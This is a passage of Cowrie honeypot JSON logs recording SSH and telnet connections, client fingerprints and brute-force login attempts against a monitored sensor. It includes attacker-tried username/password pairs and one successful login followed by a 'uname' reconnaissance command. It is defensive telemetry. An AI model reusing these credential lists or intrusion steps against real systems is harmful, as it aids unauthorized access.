0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:49.363528Z","src_ip":"43.163.119.215","session":"d0e23d81b6b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:50.076809Z","src_ip":"43.163.119.215","session":"d0e23d81b6b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:51.317130Z","src_ip":"43.163.119.215","session":"d0e23d81b6b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51170,"dst_ip":"159.203.135.109","dst_port":22,"session":"72183e0cf90e","protocol":"ssh","message":"New connection: 103.75.199.4:51170 (159.203.135.109:22) [session: 72183e0cf90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:51.392668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:51.397115Z","src_ip":"103.75.199.4","session":"72183e0cf90e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:51.487995Z","src_ip":"103.75.199.4","session":"72183e0cf90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:51.762974Z","src_ip":"103.75.199.4","session":"72183e0cf90e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":49464,"dst_ip":"159.203.135.109","dst_port":22,"session":"da2ef6111331","protocol":"ssh","message":"New connection: 162.243.147.237:49464 (159.203.135.109:22) [session: da2ef6111331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:52.443608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:52.448056Z","src_ip":"162.243.147.237","session":"da2ef6111331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:52.518507Z","src_ip":"162.243.147.237","session":"da2ef6111331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marcella","message":"login attempt [root/marcella] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:52.831382Z","src_ip":"162.243.147.237","session":"da2ef6111331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:52.856758Z","src_ip":"103.75.199.4","session":"72183e0cf90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:53.905107Z","src_ip":"162.243.147.237","session":"da2ef6111331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.235","src_port":1694,"dst_ip":"159.203.135.109","dst_port":22,"session":"c048666fd4e8","protocol":"ssh","message":"New connection: 92.118.39.235:1694 (159.203.135.109:22) [session: c048666fd4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:58.193946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:58.198089Z","src_ip":"92.118.39.235","session":"c048666fd4e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:58.306048Z","src_ip":"92.118.39.235","session":"c048666fd4e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:05:58.759237Z","src_ip":"92.118.39.235","session":"c048666fd4e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57446,"dst_ip":"10.17.0.5","dst_port":22,"session":"11741255f5c8","protocol":"ssh","message":"New connection: 43.163.119.215:57446 (10.17.0.5:22) [session: 11741255f5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:05.551241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:05.556298Z","src_ip":"43.163.119.215","session":"11741255f5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:05.802401Z","src_ip":"43.163.119.215","session":"11741255f5c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:06.540662Z","src_ip":"43.163.119.215","session":"11741255f5c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:07.072071Z","src_ip":"43.163.119.215","session":"11741255f5c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:07.075406Z","src_ip":"43.163.119.215","session":"11741255f5c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":35404,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b755bfe671","protocol":"ssh","message":"New connection: 43.163.119.215:35404 (10.17.0.5:22) [session: 71b755bfe671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:07.245519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:07.249570Z","src_ip":"43.163.119.215","session":"71b755bfe671","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:07.324310Z","src_ip":"43.163.119.215","session":"11741255f5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:07.327846Z","src_ip":"43.163.119.215","session":"11741255f5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:07.486824Z","src_ip":"43.163.119.215","session":"71b755bfe671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:08.198796Z","src_ip":"43.163.119.215","session":"71b755bfe671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:09.439675Z","src_ip":"43.163.119.215","session":"71b755bfe671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":53816,"dst_ip":"10.17.0.5","dst_port":22,"session":"1517e4fad096","protocol":"ssh","message":"New connection: 205.209.121.72:53816 (10.17.0.5:22) [session: 1517e4fad096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:10.964589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:11.025579Z","src_ip":"205.209.121.72","session":"1517e4fad096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:11.031019Z","src_ip":"205.209.121.72","session":"1517e4fad096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eugene","message":"login attempt [root/eugene] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:11.049166Z","src_ip":"205.209.121.72","session":"1517e4fad096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":59944,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df14212d263","protocol":"telnet","message":"New connection: 142.93.69.27:59944 (10.17.0.5:23) [session: 2df14212d263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:12.026345Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:12.056521Z","src_ip":"205.209.121.72","session":"1517e4fad096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56148,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e5e45d19ddb","protocol":"ssh","message":"New connection: 103.75.199.4:56148 (159.203.135.109:22) [session: 3e5e45d19ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:13.298597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:13.303088Z","src_ip":"103.75.199.4","session":"3e5e45d19ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:13.398259Z","src_ip":"103.75.199.4","session":"3e5e45d19ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:13.684694Z","src_ip":"103.75.199.4","session":"3e5e45d19ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:14.783507Z","src_ip":"103.75.199.4","session":"3e5e45d19ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020182132721,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:16.088531Z","src_ip":"186.189.112.16","session":"215181035e2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00279903411865,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:17.241706Z","src_ip":"186.189.112.16","session":"b825818686d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":15475,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a77e6f11980","protocol":"telnet","message":"New connection: 186.189.112.16:15475 (10.17.0.5:23) [session: 9a77e6f11980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:17.845819Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":57888,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85f02f5c744","protocol":"telnet","message":"New connection: 186.189.112.16:57888 (10.17.0.5:23) [session: a85f02f5c744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:18.109787Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":35954,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9057ba3f513","protocol":"ssh","message":"New connection: 163.7.9.84:35954 (10.17.0.5:22) [session: a9057ba3f513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:18.786508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:06:18.791431Z","src_ip":"163.7.9.84","session":"a9057ba3f513","protocol":"ssh"}
